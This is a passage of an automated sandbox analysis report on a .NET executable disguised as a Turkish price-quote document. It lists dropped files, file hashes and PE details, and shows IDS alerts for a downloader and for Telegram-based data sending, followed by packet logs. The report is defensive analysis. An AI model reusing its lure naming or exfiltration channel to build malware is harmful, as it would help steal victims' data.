Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.355024937536926
Encrypted:	false
SSDEEP:	24:3OWSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NKIl9r6dj:eWSU4y4RQmFoUeWmfmZ9tK8NDE
MD5:	A2B58E2A44EE011B5A5204D75F038BDD
SHA1:	44E14B097A6F628F0B0663EAA3059B5F0E5D7D8E
SHA-256:	397D120EAAD7512D3923B9F86ADA33D54B60CC83655021C674258AA1F2AB68F0
SHA-512:	1B27BD34FF787264BAF374DD8F61CAB416FBEE5A8E3D32AC4CF1A8A690D186F22A865D86D55790CEA6D360F4FEF4A55E2742A9EB9CFD1F650BD6B0AC278D621F
Malicious:	false
Preview:	@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jboqdnpm.qai.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvlmjp30.buu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u2sjdfda.ewg.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yk2ebzhs.dms.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4171318437224105
Encrypted:	false
SSDEEP:	6144:2cifpi6ceLPL9skLmb0mZSWSPtaJG8nAgex285i2MMhA20X4WABlGuNo5+:Ti58ZSWIZBk2MM6AFByo
MD5:	AED094A1816E5C1D86EA48A86D121007
SHA1:	23482F9BB49292B2107D0F5CB0796C1C5E1FA812
SHA-256:	ED2CDE174FFC4916D253D833012E9AAB1FBFEFB03ED194748F490DA629CDFDEB
SHA-512:	E42665D25CA2AACB0B9400389B81CD2A5025FBC56787C4FE515AF8DB546047252CFDE752AD4DE158E82854E8C99DD11ADDC965EC809C0453E094E109EACDA6DF
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm^R.t.b..............................................................................................................................................................................................................................................................................................................................................8.@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.853456188943149
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
File size:	754'688 bytes
MD5:	1579f7d1a5af2d811a9ade177ca3ed73
SHA1:	e126dbb23a1c841a934e5b73bcfebc1c28bd906d
SHA256:	1d35d406169afe6bed77759d2e8e03c858897a7e181e3a83bb013f16c91af4bd
SHA512:	2271e6c5c1494641f0d96a593b72a29203c0c4d1fc1440dc51a9784d3300a02bd6dfcf3a77f9efe8b84aef12b19097e0dd155dfe379536dca55d3e7cea135e30
SSDEEP:	12288:X4doaex+/ZpqCV8W4TFhPPAZD373dAGZ+WMTRnqdmqy+czNKFARjaNIkATn747og:IdFexZCV8jDIV3aWCRnkmqaNAARhN6
TLSH:	26F412D46E46DD9AC4C107B10A31E33AA5BA9E9ED416C34BCBECEDFF7811B4A64441E0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.sg..............0..^...$.......}... ........@.. ....................................@................................

File Icon


Icon Hash:	53952576d1abd26e

Static PE Info

General

Entrypoint:	0x4b7d92
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6773A830 [Tue Dec 31 08:15:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7d40	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb8000	0x21a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb5db8	0xb5e00	6dea0bdde733c295a9a13d9d43cac1bf	False	0.9309546821305842	data	7.859436491693461	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb8000	0x21a0	0x2200	47522dc5ec171da2e756a65c7b902c0c	False	0.8990119485294118	data	7.4748185459962535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbc000	0xc	0x200	62e03e9b06ca1d9e27c20e764f8b1ed7	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb80c8	0x1d72	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9698859113823295
RT_GROUP_ICON	0xb9e4c	0x14	data	1.05
RT_VERSION	0xb9e70	0x32c	data	0.4642857142857143

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T19:01:08.878234+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49701	132.226.8.169	80	TCP
2025-01-09T19:01:10.346958+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49701	132.226.8.169	80	TCP
2025-01-09T19:01:10.974086+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49706	104.21.112.1	443	TCP
2025-01-09T19:01:12.315945+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49710	132.226.8.169	80	TCP
2025-01-09T19:01:16.259787+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49717	104.21.112.1	443	TCP
2025-01-09T19:01:19.226865+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49732	104.21.112.1	443	TCP
2025-01-09T19:01:23.325700+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.7	49757	149.154.167.220	443	TCP
2025-01-09T19:01:30.229729+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49804	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 19:01:07.215271950 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:07.220129013 CET	80	49701	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:07.220196962 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:07.220386982 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:07.448111057 CET	80	49701	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:08.508838892 CET	80	49701	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:08.516191006 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:08.521100044 CET	80	49701	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:08.832552910 CET	80	49701	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:08.877245903 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:08.877293110 CET	443	49704	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:08.877410889 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:08.878233910 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:08.884020090 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:08.884036064 CET	443	49704	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:09.515625000 CET	443	49704	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:09.515805006 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:09.576200962 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:09.576237917 CET	443	49704	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:09.577270031 CET	443	49704	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:09.628189087 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:09.777872086 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:09.819350958 CET	443	49704	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:09.893542051 CET	443	49704	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:09.893610001 CET	443	49704	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:09.893663883 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:09.900268078 CET	49704	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:09.903422117 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:09.908718109 CET	80	49701	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:10.188575983 CET	80	49701	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:10.193212986 CET	49706	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:10.193262100 CET	443	49706	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:10.193321943 CET	49706	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:10.193937063 CET	49706	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:10.193948984 CET	443	49706	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:10.346957922 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:10.782092094 CET	443	49706	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:10.803428888 CET	49706	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:10.803447962 CET	443	49706	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:10.974123955 CET	443	49706	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:10.974219084 CET	443	49706	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:10.974323988 CET	49706	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:10.975020885 CET	49706	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:10.979851007 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:10.981053114 CET	49710	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:10.985135078 CET	80	49701	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:10.985207081 CET	49701	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:10.985862017 CET	80	49710	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:10.985929966 CET	49710	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:10.986043930 CET	49710	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:10.990787029 CET	80	49710	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:12.271039963 CET	80	49710	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:12.272527933 CET	49713	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:12.272552967 CET	443	49713	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:12.272773027 CET	49713	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:12.273008108 CET	49713	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:12.273015976 CET	443	49713	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:12.315944910 CET	49710	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:12.795016050 CET	443	49713	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:12.805180073 CET	49713	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:12.805212021 CET	443	49713	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:12.959095955 CET	443	49713	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:12.959156036 CET	443	49713	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:12.959192991 CET	49713	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:12.959659100 CET	49713	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:12.964118004 CET	49714	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:12.969063997 CET	80	49714	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:12.969137907 CET	49714	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:12.969257116 CET	49714	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:12.974061966 CET	80	49714	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:14.022439003 CET	80	49714	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:14.023880005 CET	49715	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:14.023957014 CET	443	49715	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:14.024085045 CET	49715	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:14.024472952 CET	49715	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:14.024498940 CET	443	49715	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:14.065794945 CET	49714	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:14.490102053 CET	443	49715	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:14.493474960 CET	49715	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:14.493496895 CET	443	49715	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:14.621176958 CET	443	49715	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:14.621246099 CET	443	49715	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:14.621454000 CET	49715	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:14.622347116 CET	49715	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:14.625482082 CET	49714	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:14.627573013 CET	49716	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:14.630516052 CET	80	49714	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:14.631371021 CET	49714	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:14.632368088 CET	80	49716	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:14.632652998 CET	49716	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:14.632700920 CET	49716	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:14.637506962 CET	80	49716	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:15.443716049 CET	80	49716	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:15.444860935 CET	49717	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:15.444925070 CET	443	49717	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:15.444979906 CET	49717	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:15.445231915 CET	49717	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:15.445250988 CET	443	49717	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:15.487643957 CET	49716	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:16.101151943 CET	443	49717	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:16.102766991 CET	49717	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:16.102793932 CET	443	49717	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:16.259803057 CET	443	49717	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:16.259871960 CET	443	49717	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:16.260155916 CET	49717	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:16.260691881 CET	49717	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:16.270791054 CET	49716	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:16.276295900 CET	80	49716	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:16.277179956 CET	49716	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:16.280672073 CET	49718	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:16.285550117 CET	80	49718	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:16.285623074 CET	49718	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:16.285727024 CET	49718	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:16.290534019 CET	80	49718	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:17.106971025 CET	80	49718	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:17.108148098 CET	49720	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:17.108177900 CET	443	49720	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:17.108551979 CET	49720	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:17.108552933 CET	49720	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:17.108580112 CET	443	49720	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:17.159658909 CET	49718	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:17.633590937 CET	443	49720	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:17.639012098 CET	49720	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:17.639054060 CET	443	49720	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:17.770756960 CET	443	49720	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:17.770837069 CET	443	49720	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:17.770885944 CET	49720	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:17.771300077 CET	49720	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:17.774909019 CET	49718	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:17.776036978 CET	49726	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:17.780010939 CET	80	49718	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:17.780071020 CET	49718	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:17.780949116 CET	80	49726	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:17.781085014 CET	49726	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:17.781234026 CET	49726	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:17.786072016 CET	80	49726	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:18.607762098 CET	80	49726	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:18.608983994 CET	49732	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:18.609015942 CET	443	49732	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:18.609071016 CET	49732	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:18.609339952 CET	49732	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:18.609354973 CET	443	49732	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:18.659542084 CET	49726	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:19.071065903 CET	443	49732	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:19.072854996 CET	49732	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:19.072882891 CET	443	49732	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:19.226891994 CET	443	49732	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:19.226958036 CET	443	49732	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:19.227328062 CET	49732	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:19.229377985 CET	49732	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:19.230657101 CET	49726	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:19.232389927 CET	49733	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:19.235716105 CET	80	49726	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:19.237234116 CET	80	49733	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:19.237277031 CET	49726	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:19.237364054 CET	49733	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:19.237478018 CET	49733	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:19.242239952 CET	80	49733	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:20.016908884 CET	80	49733	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:20.018487930 CET	49739	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:20.018537998 CET	443	49739	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:20.018624067 CET	49739	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:20.018892050 CET	49739	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:20.018904924 CET	443	49739	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:20.065808058 CET	49733	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:20.523164988 CET	443	49739	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:20.525696993 CET	49739	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:20.525717974 CET	443	49739	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:20.687428951 CET	443	49739	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:20.687503099 CET	443	49739	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:20.687596083 CET	49739	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:20.688124895 CET	49739	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:20.691267967 CET	49733	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:20.692538977 CET	49745	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:20.696353912 CET	80	49733	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:20.696428061 CET	49733	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:20.697335958 CET	80	49745	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:20.697406054 CET	49745	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:20.697515965 CET	49745	80	192.168.2.7	132.226.8.169
Jan 9, 2025 19:01:20.702708960 CET	80	49745	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:21.469355106 CET	80	49745	132.226.8.169	192.168.2.7
Jan 9, 2025 19:01:21.470865011 CET	49751	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:21.470904112 CET	443	49751	104.21.112.1	192.168.2.7
Jan 9, 2025 19:01:21.470977068 CET	49751	443	192.168.2.7	104.21.112.1
Jan 9, 2025 19:01:21.471204996 CET	49751	443	192.168.2.7	104.21.112.1
